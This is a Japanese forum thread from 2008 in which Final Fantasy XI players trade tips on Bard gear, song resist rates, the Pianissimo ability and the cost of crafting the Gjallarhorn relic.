241 名前： 名も無き軍師 投稿日：2008/06/13(金) 20:37:41 ID:DxG6SL7D: >>239
でもそーゆーの、バラII歌ってる間に状況変化したら対応しにくいんだよなー

俺は、ピンバラボタン＆ピンバラ２ボタンを作っちまったよ。
242 名前： 名も無き軍師 投稿日：2008/06/14(土) 01:26:03 ID:eROStGuf: ピアニッシモは射程が伸びるのも神すぎる。
本当メリポがかなり快適になったｗ
待ち続けた新アビがまさかこんなに神アビとはなぁ。
…てかピアニッシモの射程伸びるのは仕様だよね？

[+]＜アビリティ「ピアニッシモ」で歌の射程が伸びていた不具合を修正しました。詩人乙ｗ

とか来ないよね。
243 名前： 名も無き軍師 投稿日：2008/06/14(土) 06:50:33 ID:6YV6l2lM: あんま必要ない事まで心配してるとホントにその通りになっちゃうかもよ
244 名前： 名も無き軍師 投稿日：2008/06/14(土) 16:03:13 ID:iq8iTTyU: イギト胴とれたけど腹のとこのグラがなんか気持ち悪いｗ
シャイルをよくもここまでかっこわるくできたもんだ・・
245 名前： 名も無き軍師 投稿日：2008/06/14(土) 16:45:42 ID:G9WtNLJp: シャイルマンティルは普通に良グラだと思うけどね。
街着としても鮮やかで映るし。
246 名前： 名も無き軍師 投稿日：2008/06/14(土) 17:53:44 ID:G9WtNLJp: ギャッラルホルン作った人にお聞きしたいのですけど
総額どれくらいギル必要でしたか？
247 名前： 名も無き軍師 投稿日：2008/06/14(土) 18:05:29 ID:g5ahCctb: 最後の3000は借りて1億1000万
248 名前： 名も無き軍師 投稿日：2008/06/14(土) 18:23:11 ID:gmJQpbJA: んなもんここで聞くことじゃねーだろ
鯖によって価格違うんだから、それすら調べれないやつは
作ろうとおもわんほうがいい
249 名前： 名も無き軍師 投稿日：2008/06/14(土) 18:48:09 ID:G9WtNLJp: >>247
1億4000万って事？
250 名前： 名も無き軍師 投稿日：2008/06/14(土) 19:03:25 ID:fevIpLOJ: >>249
1から10まで他人に何でも教えて貰おうとするゆとり世代でも
最後の3000の意味位、もう少しレリックのことを調べよう
ネット使える環境にあるんだから、少しは脳みそ使おうな？
251 名前： 名も無き軍師 投稿日：2008/06/14(土) 23:28:29 ID:e3FlUyA/: インフレのとき作ったけど、100貨幣1000万↑とか余裕でした。
計算するのも恐ろしいくらいのギルが乱れ飛んだぜ。
252 名前： 名も無き軍師 投稿日：2008/06/14(土) 23:38:08 ID:G9WtNLJp: >>251
へぇ…怖ろしいなぁ…
今作る方が楽なんだなぁ
253 名前： 名も無き軍師 投稿日：2008/06/15(日) 02:07:34 ID:ORM475j+: ひんと　プシュケー
254 名前： 名も無き軍師 投稿日：2008/06/15(日) 08:03:34 ID:14EKZMxI: 土ストラップが100万でバザられてたんで即購入
ラッキー
255 名前： 名も無き軍師 投稿日：2008/06/15(日) 12:05:07 ID:4JfMomA1: >>252
単純に物価が違っただけだからあまりかわんないかと思う。
インフレ時代の資産が残ってる奴がけっこう今作ってるから
新規に作るならその分今の方が若干きついかね？
256 名前： 名も無き軍師 投稿日：2008/06/15(日) 14:38:25 ID:Z7DCMd7E: >>254
高くね？ｗ
257 名前： 名も無き軍師 投稿日：2008/06/15(日) 14:42:11 ID:IhVOoXol: まあこの時期に買うならそれくらいでもいいんじゃね
花鳥風月に手を付けてなかったり面倒だと思うなら
258 名前： 名も無き軍師 投稿日：2008/06/15(日) 15:46:18 ID:ACrREMrz: 花鳥風月苦痛すぐる…
はじめてFFでなんかツール使いたくなったわ…
259 名前： 名も無き軍師 投稿日：2008/06/15(日) 16:01:21 ID:kIRYe01u: マル脚+シャイル胴って見た目の組み合わせ的に合うのかな？
うちの鯖じゃこの組み合わせしてる詩人がいなくて見てみたいんだが
260 名前： 名も無き軍師 投稿日：2008/06/15(日) 16:37:28 ID:Ex1qg6sZ: 基本黒地だしまぁまぁ合うよ
シャイル+コラルキャニオンズよりはいい
261 名前： 名も無き軍師 投稿日：2008/06/15(日) 17:14:01 ID:kIRYe01u: >>260
そうか、ty。
マル脚とエラント胴はいい感じなんだが、イギト胴との組み合わせが死ねるほど
ダサくて考えてたんだ。安い買い物じゃーないしね。
262 名前： 名も無き軍師 投稿日：2008/06/15(日) 18:26:51 ID:qTVNRrvP: 書き込めん・・
263 名前： 名も無き軍師 投稿日：2008/06/15(日) 18:29:35 ID:qTVNRrvP: せっかくシャイル胴+マル脚装備してSS撮ったのにURL張れない・・なんでだ
アドレス入れて書き込むと「書き込みが終わりました」と出ても書き込みされてねー
264 名前： 名も無き軍師 投稿日：2008/06/15(日) 18:33:51 ID:qTVNRrvP: まぁいいや・・・
or2 uploderの4107.jpgだから見れる人だけ見てくらはい
265 名前： 名も無き軍師 投稿日：2008/06/15(日) 21:36:56 ID:F6IxB5IW: フォルテッシモで　Say範囲の全てのＰＣに呪歌の効果
バリスタくらいに皆にかかるようにしてほしい
266 名前： 名も無き軍師 投稿日：2008/06/15(日) 22:02:38 ID:2gJtTk/U: 花鳥プークやった時、範囲外からピンバラ飛ばしてくれてありがとう
267 名前： 名も無き軍師 投稿日：2008/06/16(月) 00:14:36 ID:0TJksbB6: オラクルビガッシュのためにディーやってきたので報告を
強さは1PTでもなんとかなるレベル、バインド・グラビデ○の上
周りはアクだらけって訳でもないからマラソンも可
ただ、ｗｓのダメが非常にやばいのと、バーサク・ヘイストのｗｓがあるから
即フィナーレをかけること

1PTでやるときのお勧めルートはキキルン→マーリド→ウィヴル
おそらくこのルートが一番楽だと思われる
268 名前： 名も無き軍師 投稿日：2008/06/16(月) 00:21:32 ID:0TJksbB6: ついでに土グリップのためにギアもやってきたので報告でも
これも1PTでもやれないこともないけど、あまりやりたくないレベル
自分らは8人でやった
物理アタッカーは一人もいらない、ダメージソースは精霊
属性に気をつけながら削っていくのだけ注意
グリップは2匹とも2個とも落としたから、100%なのかもしれない
エクレア装備は落さないのもあったけど、ドロップはstep1,2に比べるとよさそうな感じ

ようやくCHR+1グリップから解放された(´Д｀)
269 名前： 名も無き軍師 投稿日：2008/06/16(月) 00:21:40 ID:O49DyQ4t: ビガッシュ・・・？
270 名前： 名も無き軍師 投稿日：2008/06/16(月) 00:28:44 ID:pTuHq8NR: >>267
オラクルピガッシュってグラフィックどんな感じですか？
1個わかれば他のシリーズも雰囲気分かりそう
271 名前： 名も無き軍師 投稿日：2008/06/16(月) 01:01:53 ID:zZ2MAJ/a: >>270
八竜以外は既存グラの使いまわし
オラクルは赤専用装備のワイズ一式と同じ
272 名前： 名も無き軍師 投稿日：2008/06/16(月) 08:41:27 ID:0TJksbB6: タルじゃないと取得はお勧めできないくらいダサいね
ゴリ足とどっちがいいかはまだ不明だが、シャイル足よりは性能いいのかな？
273 名前： 名も無き軍師 投稿日：2008/06/16(月) 09:49:31 ID:yjdFwtJ6: >>264
URLが貼れないのは
業者の罠サイト誘導URL対策がされてるかも
274 名前： 名も無き軍師 投稿日：2008/06/17(火) 00:10:54 ID:RndDtfDV: ギャッラルホルンを作った方、苦労話を聞かせてください。
275 名前： 名も無き軍師 投稿日：2008/06/17(火) 00:15:55 ID:Xypxh29m: 金がかかる。
276 名前： 名も無き軍師 投稿日：2008/06/17(火) 00:38:57 ID:V26WHq+K: >>268
私もやりましたが、グリップは土グリップのみでしたので100％ではないようです。
ただ花鳥NM何度かやってますが、全体的にドロップ率は悪くないような印象は受けています、今のところ。
277 名前： 名も無き軍師 投稿日：2008/06/17(火) 02:29:46 ID:FqS764mE: >>274
ソロ以外では詩人固定になってしまいました
278 名前： 名も無き軍師 投稿日：2008/06/17(火) 03:13:52 ID:YpyGmfTu: 俺くらいになるとソロでも詩人固定
279 名前： 名も無き軍師 投稿日：2008/06/17(火) 11:54:33 ID:Rn+wSENI: >>274
バルランの短剣も作らないといけないというプレッシャーで押しつぶされそうになる
280 名前： 名も無き軍師 投稿日：2008/06/17(火) 12:20:22 ID:jHQx751G: アレはギャッラル作るより遥かに時間掛かるから論外だろうｗ
あんなマゾ仕様でやる気になる人の気が知れんわ
281 名前： 名も無き軍師 投稿日：2008/06/17(火) 13:28:58 ID:u/yVF/cY: のちのち　つくであろう隠し性能ってどんなのくるのかね
バルランの言葉からしたら　単純に殴り性能アップなのかね
282 名前： 名も無き軍師 投稿日：2008/06/17(火) 13:48:55 ID:LldkR/ZI: 真の廃人は一つの鯖じゃ石がたりないから、各倉庫に1億もたせて
他の鯖からあつめるらしいしな。
レリックなんて赤子同然ｗｗｗ
283 名前： 名も無き軍師 投稿日：2008/06/17(火) 16:52:28 ID:yReBq91e: 廃人だったらここまでするやつもいるかもしれんっていう妄想であって
実際やってるやつはいないのに
なぜさも、現実に起こったこととしてるのか理解に苦しむ
284 名前： 名も無き軍師 投稿日：2008/06/17(火) 19:37:26 ID:XLqZrl2A: それは廃人というより業者だろう
285 名前： 名も無き軍師 投稿日：2008/06/18(水) 09:46:30 ID:/PB4rAqS: バルラン武器は金だけあれば解決する訳じゃないしな
レリックも証とかはあるけど、バルランはその比では無いな
286 名前： 名も無き軍師 投稿日：2008/06/18(水) 11:49:56 ID:7OzIZRgr: ところで花鳥風月スレはできないんですか？
287 名前： 名も無き軍師 投稿日：2008/06/18(水) 20:52:23 ID:FZPKPKwW: >>286
スレ違い
288 名前： 名も無き軍師 投稿日：2008/06/20(金) 09:50:07 ID:LaknmhbI: >>274
ジョブチェンジシステムがなくなる。
ゲームじたいが面白くなくなる。
もぅ、いいかなとログインが激減。
あ、名前でよばれなくなり、ギャラルさんになる。

そんなかんじの作って三年と4ヶ月の今日この頃。
289 名前： 名も無き軍師 投稿日：2008/06/20(金) 11:31:50 ID:ktPOqWgn: ギャッラル捨てれば万事解決ですね
290 名前： 名も無き軍師 投稿日：2008/06/20(金) 12:51:23 ID:kvlaKIbb: 詩人が好きだし他ジョブで呼ばれなくてもいいお！って思ってたけど
どうせ他ジョブで呼ばれねーから、と他ジョブに対する情熱が無くなっていくことが問題。
今回のBAで赤黒にそこそこいい装備が追加されたけど、全く興味がわかねえ。
291 名前： 名も無き軍師 投稿日：2008/06/20(金) 12:57:50 ID:AaDWWj6S: 俺は逆に詩人はあまり出さなくなったな
今は獣で各地放浪してる
裏は解散しちゃったしエインや猿には興味が無い
空は強いNMや四神以外は獣や他ジョブで行くし、ナイズルくらいかな詩人出すのは
メリポは元々嫌いだから身内でしかいかないしな
292 名前： 名も無き軍師 投稿日：2008/06/20(金) 13:24:53 ID:mv3kJa0t: もう１垢作ればいいんでない？
293 名前： 名も無き軍師 投稿日：2008/06/20(金) 18:09:38 ID:y3SYGEXC: >>282
フレの外人ＨＮＭＬＳはギルカンストキャラを１０鯖以上派遣してるぞ
人口の多い鯖に全部派遣して真っ先に作るつもりでいるらしいｗ
294 名前： 名も無き軍師 投稿日：2008/06/20(金) 19:42:37 ID:XXItg05j: ギャッラルあってもサルとかだとファイフあれば充分ってことで殆ど前衛メインのモで呼ばれる。
野良メリポは忙しく釣るよりケアルと補助ってスタイルの方が好きなのでコ。
割と自由にやってるとは思うが。
でもやっぱ知り合いでイベント的にＮＭやるぜって時は詩人指定だな…ｗ
295 名前： 名も無き軍師 投稿日：2008/06/20(金) 20:26:10 ID:rlkkpUbL: 全鯖で200本(NA含む)しかないギャッラル持ちが多いスレですね
296 名前： 名も無き軍師 投稿日：2008/06/20(金) 21:30:23 ID:L/KmcItf: 脳内FFなんだろ
297 名前： 名も無き軍師 投稿日：2008/06/20(金) 23:58:02 ID:E6unHIMq: 持ってるの前提で話してるのは３人くらいじゃね？

でもってこういうスレ見てる時点で詩人メイン多いだろうし
嘘ではなさそうな気もする６２歳詩人
298 名前： 名も無き軍師 投稿日：2008/06/21(土) 08:03:25 ID:xJg2iNm4: 詩人メインつってもレリック前提で話せるのは
廃ＬＳにいる事＆奴隷認定されてもいい根性持ちが前提だけどな
いくら数年経ってるとは言えギャッラル持ちはユニクロじゃねーｗ
つかネ実やジョブ板に常駐してるのが自宅警備員しかいないだけ
299 名前： 名も無き軍師 投稿日：2008/06/21(土) 15:33:22 ID:aeG8YDQo: はっきり言ってギャラッルつくるんだったら2アカ目のヒュム♀かエル♀でつくるのがベストだと思うが
いつでもどこでもメインに引っ付いてメインキャラでバラバラ8/3sリフレの恩恵もらえるし
メリポも完全に区別して振れる
300 名前： 名も無き軍師 投稿日：2008/06/21(土) 18:47:25 ID:SVbegHTf: ギャラッル　晒しage
301 名前： 名も無き軍師 投稿日：2008/06/21(土) 19:23:08 ID:Do6aRrkm: ギャッラルホルン欲しいなぁ…宝くじが当たれば作れるかなぁ…
302 名前： 名も無き軍師 投稿日：2008/06/21(土) 22:09:24 ID:Cm9sEJzw: >>298
自己紹介乙
303 名前： 名も無き軍師 投稿日：2008/06/22(日) 02:06:47 ID:tQhJAYHg: 用語辞典のエラトーケープのところに、
隠し性能：ピアニッシモ時に歌の効果アップ
ってあるけど何がアップしてるんでしょうか？
いろいろ試してみたけど特に変わった様子はなさげだったので
304 名前： 名も無き軍師 投稿日：2008/06/22(日) 02:10:57 ID:gsBqh7fK: どの歌で、どんな要素について試したかをまず書くべきだ。
305 名前： 名も無き軍師 投稿日：2008/06/22(日) 02:36:53 ID:tQhJAYHg: >>304
歌効果アップとあるので数値に表れそうなもので試しました

管楽器を使用して＋２効果がある状態でメヌエット、ミンネ、バラード
弦楽器を使用して＋効果がない状態でメヌエット、ミンネ、バラード
ピアニッシモでの対象をそれぞれ自分、他人

数値、効果時間ともに従来とものと変化なしでした
306 名前： 名も無き軍師 投稿日：2008/06/22(日) 07:48:10 ID:Wp/hiuAA: >>303
用語辞典をまるきり信用しない方がいいよ
履歴を見ると、隠し性能云々書いた人はその部分だけを書き替えた上
その内容に一切触れてない。釣りだねアレは
307 名前： 名も無き軍師 投稿日：2008/06/22(日) 10:53:10 ID:/hfz4Bon: 詩人をやる上で、ここのサイトがオススメという考察サイトはありますか？
ググっても数が多すぎて、どこが安全でどこが罠サイトなのかも分からず途方に暮れてます。
308 名前： 名も無き軍師 投稿日：2008/06/22(日) 10:54:05 ID:/hfz4Bon: 日本語が変でした。
オススメの考察サイトはありますか？
309 名前： 名も無き軍師 投稿日：2008/06/22(日) 12:25:25 ID:XP98SuvA: ええ、ありますね。
310 名前： 名も無き軍師 投稿日：2008/06/22(日) 12:59:30 ID:g5Iumlb+: >>307 >>1
311 名前： 名も無き軍師 投稿日：2008/06/22(日) 23:38:04 ID:Ee/c2O/I: 詩人のテンプレサイトは全ジョブ中でもかなり優秀と思う。
モと双璧ではなかろうか、召もいいな。
だからちゃんと嫁。
312 名前： 名も無き軍師 投稿日：2008/06/22(日) 23:57:52 ID:qCyob4Tq: ＜わからない五大理由＞
1. 読まない・・・説明書などを読まない。読む気などさらさらない
2. 調べない・・・ググるなど最低限の内容も自分で調べようとしない
3. 試さない・・・めんどくさいなどの理由で実行しない。する気もない
4. 理解力が足りない・・・理解力以前の問題で理解しようとしない
5. 人を利用することしか頭にない・・・甘え根性でその場を乗り切ろうとする
313 名前： 名も無き軍師 投稿日：2008/06/23(月) 00:04:21 ID:go709IQ6: >>306
用語辞典って頻繁には見ないのですが、そういうのもあるのですね
元が微妙性能だったので面白い隠しがあるな～と思ったのですが・・
314 名前： 名も無き軍師 投稿日：2008/06/23(月) 00:48:34 ID:c+OVa6Ry: 今日初めて詩人指輪使ったけど、これいいね。
属性杖装備できるようになったこと以上に感動した。

これってHP+とかする前のHPで判定されてるのかな？
それとも単純に黄色だったらおｋ？

ついでにもう報告挙がってるるかもしれないけど、ピアニッシモ、Lv45で覚えました。
315 名前： 名も無き軍師 投稿日：2008/06/23(月) 00:56:04 ID:sIFmQ5LK: .xreaだから一応気をつけてねん。テンプレサイト
316 名前： 名も無き軍師 投稿日：2008/06/23(月) 01:32:00 ID:4OBxLQcr: >>314
歌い始めた時に装備もろもろ含めてＨＰが７６％未満で発動
317 名前： 名も無き軍師 投稿日：2008/06/23(月) 01:57:52 ID:c+OVa6Ry: >>316
ありがと。

となると昔は「後衛なのにHP+かよ」と思ってたAFが素晴らしく見えるなｗ
318 名前： 名も無き軍師 投稿日：2008/06/23(月) 12:42:46 ID:sBM96dKR: こんにちは！いつもこのスレを利用させてもらってます
装備をどう整えたらよいかご指摘くださいっ！メリポをしていてララやエレジーがレジられちゃうのです

アポロ,テラ
オポオポ管トルクミュージックピアス
エラント AF手トランペットリング詩人潜在リング
CHR10のやつコルセット AF脚シャイル足
(楽器は管楽器メリーやホリン+1など)

あとエインヘリアルに詩人で行く事になり、どう立ち回ったらよいかアドレスも欲しいです！
319 名前： 名も無き軍師 投稿日：2008/06/23(月) 12:51:47 ID:aY6SWKOC: 敵歌は潜在リングいらないかな
FCよりレジられたら意味ない
320 名前： 名も無き軍師 投稿日：2008/06/23(月) 13:05:16 ID:ayJ4RKN1: メリポでレジって装備そこまで気使ってたらほぼないんだが
稀にあるレジでレジされた(ﾋﾞｸﾝﾋﾞｸﾝ感じｒｙ)とか思ってないか？
スキルとCHR的にメリポlvで100％レジ無しは無理だからなｗ
321 名前： 名も無き軍師 投稿日：2008/06/23(月) 13:40:28 ID:0iZcwfKQ: >>318
俺と似たような装備だけど違うところは

トランペット・潜在リング→CHRリング
腰：コルセット→グリーマン
脚：AF→シャイル（エラント）

腰は別に変えんでもいいと思うけど脚と指は変えたらすこしは良くなるはず
管楽器スキルだけ見るよりCHR＋管楽器で見た方がいい
322 名前： 名も無き軍師 投稿日：2008/06/23(月) 15:00:58 ID:4OBxLQcr: >>418
とりあえず管＋歌スキルを４９０、CHR１００目指してみるのをオススメする
クリアしたら管＋歌スキルを５００、CHR１２０を目指せばいいとおもう
杖がHQなのに防具が適当に見えるから他の後衛持ちだとおもうんだけど
メリポ振れないならスキル４９０、CHR１１０程度で落ち着くしかないんじゃないかな

エインはしらん
323 名前： 名も無き軍師 投稿日：2008/06/23(月) 15:01:52 ID:4OBxLQcr: 318だった
324 名前： 名も無き軍師 投稿日：2008/06/23(月) 15:36:13 ID:VQeTtNJk: つまりマルドゥクシャルワ最強
325 名前： 318 投稿日：2008/06/23(月) 15:54:19 ID:L5X3+7hJ: アドバイスがアドレスになってる・・・予測変換めっ！
IDかわりましたが、同じ人です。

たくさんのアドバイスありがとうございます
>>322さんのを中心に改善してみたいと思います。
合計490は難しそうだぁ>_<
魔法メリポも他ジョブの関係で難しいのですが、
打ち直しの素材が揃うまで歌唱などにふっていきたいと思います。
326 名前： 名も無き軍師 投稿日：2008/06/23(月) 17:48:54 ID:ZHrxHVDn: メリポ2種に8･8いれてないと490は結構敷居高いから
今、レジられるとかあんま気にしなくていいよ
メリポ2種をフルにいれてもレジ気になるようなら
まず手を打ち直し、その次脚打ちなおし、それでも気になるようなら
サルベにでもいきなはれ
327 名前： 名も無き軍師 投稿日：2008/06/23(月) 18:30:20 ID:FdXcqAvD: メリポ抜き490だとこんな感じか、足りなければトランペットとかで補う感じで
歌スキル
頭：AF2 +5
(マル +7)
耳：シンギング +3
手：AF+1 +10

管スキル
首：管トルク +7
耳：ミュージック +5
脚：AF+1 +8
328 名前： 名も無き軍師 投稿日：2008/06/23(月) 18:43:03 ID:vT0my2hG: >>318
バルラーンないの？
329 名前： 名も無き軍師 投稿日：2008/06/23(月) 21:01:19 ID:6t47BbE/: 指こそCHRだと思うんだけどね。スキルブースとは他部位で豊富にあるし。
330 名前： 名も無き軍師 投稿日：2008/06/24(火) 02:33:45 ID:O7OBSUFG: 今って、トゥーナスシとタブタコ以外にいい詩人食事ある？
331 名前： 名も無き軍師 投稿日：2008/06/24(火) 03:12:36 ID:HkLOJVon: あるよ。
332 名前： 名も無き軍師 投稿日：2008/06/24(火) 03:31:43 ID:uQqqXUCE: AF脚をシャイルに変えろというアドバイスは珍しいね。
逆はよく見るけど。
333 名前： 名も無き軍師 投稿日：2008/06/24(火) 03:43:57 ID:O7OBSUFG: おｋ、探してみる。
334 名前： 318 投稿日：2008/06/24(火) 09:53:24 ID:8t28MOQR: こんにちはっ！>>318です。上記の装備の頭をデーモンヘルムにしてメリポ行ってきました。rep取ってもらったのでレポート書いていきます。

CHR97歌239管242魔法命中0(メリポで歌2段)
狩場はマムージャ監視哨のBC前(北)でマムは下の獣から上は黒までワイバン3～5、プク3～4
ララが91%達ララが79%
時間は２時間ほど。
335 名前： 318 投稿日：2008/06/24(火) 09:54:01 ID:8t28MOQR: 続き

【コメント】
一部ワイバンをララ釣りしてたのでもう少し数値は上になりますが、マム相手の数値としてはまぁ妥当なラインかと。達ララは忍と白中心に使いました。
ちなみに前の日にLv74でタンジャナ上段をしたときはララも達ララも70%程だったようです。

【感想】
雛に餌を届ける親鳥の気持ちになりました。
敵ごとの前衛の移動距離が近接攻撃の当たる射程を超えてしまう事が時々あったのが心残りです。魔法使いをうまい位置で寝かせるよう工夫しなきゃです。

長々と失礼しました。
また魔法スキルにメリポふったらララrepだけ載せていきます！
336 名前： 名も無き軍師 投稿日：2008/06/24(火) 10:01:00 ID:oGiSXAB5: 別に載せなくていいぜ
皆その辺は知ってるから
337 名前： 名も無き軍師 投稿日：2008/06/24(火) 11:56:57 ID:Yd6Qexsl: >>334
いくらなんでもララの命中低すぎない？
スキル未振り、マル未実装、ギャッラル作成前の同所rep
魔物のララバイ______ _98.1% [_155/_158] [___5/___0/_163]
魔物達のララバイ____ _93.1% [__54/__58] [___6/___0/__64]
ここまで差がある理由が解らないが、318に足りないのはCHA。
338 名前： 名も無き軍師 投稿日：2008/06/24(火) 11:58:05 ID:Yd6Qexsl: CHRでした><
339 名前： 名も無き軍師 投稿日：2008/06/24(火) 12:33:57 ID:KcUzuUwM: >>334
手っ取り早くCHR上げるなら、エラント着てみるといいよ。敵歌だけな
340 名前： 名も無き軍師 投稿日：2008/06/24(火) 13:28:34 ID:3V/crDvS: お前ら新参にはけっこう厳しいんだなｗ
これだから、詩人人口が（うだうだ

>>318はオポオポで試してみて、レジ変わらなかったら
バルラーンとるなり、するといいんじゃないかな？
それか脚をエラントにしてみるとか。
メリポでもうちょいスキル振れるなら、振ってるうちに
安定すると思うよ。
341 名前： 名も無き軍師 投稿日：2008/06/24(火) 13:33:00 ID:w4yf2vUF: 詩人40付近からの立ち回りとオヌヌメ装備(首♂)があれば助言を頂きたく思います。
考察サイトや関連スレを見てもメリポでの立ち回りや装備・検証ばかりで低レレル帯での立ち回りが今一わからんちん
342 名前： 名も無き軍師 投稿日：2008/06/24(火) 13:38:43 ID:O7OBSUFG: 歌を歌ってればいい。余裕があれば釣りをしても別にいい。
オススメ装備？競売見ればわかるだろ。
343 名前： 名も無き軍師 投稿日：2008/06/24(火) 13:41:38 ID:oGiSXAB5: AF手に入れるまで何でもいいと思うが
344 名前： 名も無き軍師 投稿日：2008/06/24(火) 15:06:02 ID:9Sg/YpZi: エラトーって釣りかよ。
用語辞典で見て衝撃を受けてググったら「エラトー」まで入れた段階で
「エラトーケープ　隠し」が候補に出てこれはマジかと思ったんだが
上の方に出てきたこのスレ見たら釣りとかもうね・・・・。
あそこは参考になる情報も多いが変なのが荒らしたりしてるからなぁ。

>>341
首なら種族装備を中心にMPブーストを心がけつつレベル50ぐらいになったら
クロウ（レイブン）やガーディハーネスもいいな。
潜在能力のリフレシュは1MP/3sec、MPが49に満たない時。（MP49でストップ）
※用語辞典情報だが、これは誤った情報ではないはず

釣りするのはいいがメリポよろしくキープやリンク上等でやるには
スキルブーストが満足に出来ない低レベル帯だとレジレジという事も稀によくあり
蝉弐やブリストが使えないと不安が残るな。
歌い終わったらボケーッと突っ立っていても別にいいと思うんだけどね。
回復や状態異常を治すために待機して他後衛の負担を減らすとかやる事はあるしな。

どうも最近は詩人は釣りしてナンボみたいな脳筋が多くて困る。
345 名前： 名も無き軍師 投稿日：2008/06/24(火) 17:33:09 ID:/QNtQgN8: 釣りして当然とは言わんが、詩人は釣りするのに適したジョブではあるとは思う
メリポは釣りしてナンボだがな
346 名前： 名も無き軍師 投稿日：2008/06/24(火) 18:24:05 ID:aX9T9G35: 残念ながら、詩人以上に釣りに適したジョブいないからな。
回復補助しようが、ブリスト、蝉なかろうが、ララバイレジられようが
釣り適性は圧倒的すぎる。

その場にいなくても性能フルに発揮出来るジョブなんて詩人位しかいないからな。

リソースが尽きないパーティなら、ボーっとしてる詩人は大外れだよ。
347 名前： 名も無き軍師 投稿日：2008/06/24(火) 18:30:09 ID:aX9T9G35: 第一リンク上等、ララバイ寝かせキープ上等なんて釣りスタイルは
レベル上げじゃ間違いで、タイミング上手く釣ることが良詩人の条件だな。

回復足りてるかそうじゃないかを場面場面でみわけ、その場で最適解選ぶ事が
時給上げるコツだな。怠惰な奴やノウキンには無理だ。
348 名前： 名も無き軍師 投稿日：2008/06/25(水) 03:07:22 ID:T1c2PCaF: ＭＰ１００の詩人とかなんだよこいつ
349 名前： 名も無き軍師 投稿日：2008/06/25(水) 03:33:58 ID:Ksa89mf7: なんだこいつ？ｗ
350 名前： 名も無き軍師 投稿日：2008/06/25(水) 07:51:10 ID:m8bjaNTy: >>340
赤様にくらべたら相当やさしいと思うｗ
351 名前： 名も無き軍師 投稿日：2008/06/25(水) 19:40:24 ID:igglCBHs: 恥を承知で質問です。

リアフレの赤が最近結婚しまして、お祝いにと思いジュワ取りでもしようと思っているのですが…
実は自分のジョブが吟65しかありません(-.-;)

65でもスキル青ならマンボマンボの効果は十分に発揮されますか？

過去ログ漁ってみたのですが、マンボの効果とスキルの関係が見つけられませんでした(汗)

携帯からの書き込みしか出来ず、改行もままならなく読みにくい文ですいません(-.-;)
352 名前： 名も無き軍師 投稿日：2008/06/25(水) 19:52:16 ID:6kEiRfYu: リアルでお祝いしろよ・・・
353 名前： 名も無き軍師 投稿日：2008/06/25(水) 20:08:59 ID:tL2qskeS: >>351
この間66でやってきて　死者はでなかったよ
だけど、リアフレならばこそ、リアルで何か贈るべきでは？
フレならばジュワ取りなんていつでも頼めるわけだし
354 名前： 名も無き軍師 投稿日：2008/06/25(水) 20:18:10 ID:miyVhncZ: 皆冷たいな、と思ってよく見たらリアフレかｗ
それはもうリアルでお祝いしろと思う。
355 名前： 名も無き軍師 投稿日：2008/06/26(木) 00:02:59 ID:6wxGPYoI: ありがとうございます！
頑張ってマンボ歌ってみます！

ちなみにリアルお祝いは済んでいて、忍フレと話していて挙がった企画なんです(-.-;)
説明不足で大変申し訳ないです、ほんとうにありがとうございます！
356 名前： 名も無き軍師 投稿日：2008/06/26(木) 05:39:14 ID:/VZRsDAz: マクロの行が足りないから達ララを管楽器に変えようかと
思ってるんだけど範囲かなり狭くなるよね。裏とかでもレジ多いし
いいかなーと思ったんだけど問題ないかな？
357 名前： 名も無き軍師 投稿日：2008/06/26(木) 08:01:35 ID:zt5bsxKn: 無いとおもうんだったらいいんじゃねーの？
358 名前： 名も無き軍師 投稿日：2008/06/26(木) 08:21:59 ID:kxlJuft2: てゆーか敵歌を弦で歌ってたのかｗ
359 名前： 名も無き軍師 投稿日：2008/06/26(木) 10:47:12 ID:fkje3eCf: >>356
今まで弦楽器でララバイをしていた事自体が問題。
マクロ変えるどうこうの前にテンプレでも読んだほうがいいよｗ
360 名前： 名も無き軍師 投稿日：2008/06/26(木) 11:00:51 ID:HJxvpWIr: 裏いくようなレベルでこんなバカな詩人がいるわけないよ
釣りだよこれ釣り！釣りだといってよ！って感じがたたありましたっと
361 名前： 名も無き軍師 投稿日：2008/06/26(木) 18:49:41 ID:Rhn5a5u+: やっぱり弦楽器はレジ関係ないのか・・
ありがとう；；弦スキル上がるやつマクロから消してみます。
さようなら、ストリングトルク、CHジュストコル+1・・・
362 名前： 名も無き軍師 投稿日：2008/06/26(木) 19:18:42 ID:SxSejO1Y: 一応範囲は広がるから裏等で弦バラする時には活躍するかも知れない
363 名前： 名も無き軍師 投稿日：2008/06/26(木) 21:32:58 ID:tFW75gbA: うちの裏ＬＳで最近リーダーに弦ララ注意されたら
逆ギレで脱退していった香具師いたなｗ

まぁ散々AFとりまくってたから作戦だと思うがｗ
364 名前： 名も無き軍師 投稿日：2008/06/27(金) 01:31:54 ID:NBI5BFm/: 香具師とか使うも
弦ララ使う奴もどっちも勘弁。
365 名前： 名も無き軍師 投稿日：2008/06/27(金) 08:18:30 ID:EhNZUM4R: いいいいヤッホーい
366 名前： 名も無き軍師 投稿日：2008/06/27(金) 16:10:33 ID:r1ifTCDF: >>361
ちとちがう。管楽器は敵詩のレジを下げる効果があるというだけ。一般
の弦楽器にはその効果は無い。

ただし、ナースメイドハープもララバイのレジを下げる効果があると言
われている。管楽器とナースメイドハープの効果の差は、数値としては
検証されていないんじゃないかな。
367 名前： 名も無き軍師 投稿日：2008/06/27(金) 17:18:00 ID:FoyjVa2r: 使ってみれば明らかにわかるナースメイドのレジ率だけどな。

テメナス西塔で妙にララレジられまくる詩人がいたんだが、
聞いてみるとナースメイドハープ装備だったこともある。
368 名前： 名も無き軍師 投稿日：2008/06/27(金) 17:19:36 ID:ErLfuMyA: レクイエムフルートでレクイエムVIを歌ったらレジなしで200hp/min、
通常の歌の効果時間は120秒でレクエイムフルートで+40秒される
3secで10スリップなら39秒の時点で130スリップ

つまり、レクイエムフルートでレクイエムVIを歌ってレジられずに入ったら
160秒で530もスリップさせられるってことですか？
369 名前： 名も無き軍師 投稿日：2008/06/27(金) 20:38:35 ID:gP1ujiZv: >>368
まともにはいれば、な。
ポイズンⅡ並に減るはずなのに、耐性ついてる敵の何と多いことか
370 名前： 名も無き軍師 投稿日：2008/06/28(土) 02:53:00 ID:hq+OQljf: ほんと、Lv75になるとレクイエムが飾りと化す。
なにか詩人に恨みでもあるのかね？エレジー耐性つけないだけマシってか？
371 名前： 名も無き軍師 投稿日：2008/06/28(土) 03:21:56 ID:wodnm1ga: ピアニッシモ良いわぁ
立ち位置メチャクチャになりがちな裏でも狩人にピンメヌやら後衛にピンバラやらやり易くて最高
実装が遅かったのが悔やまれるアビだわ
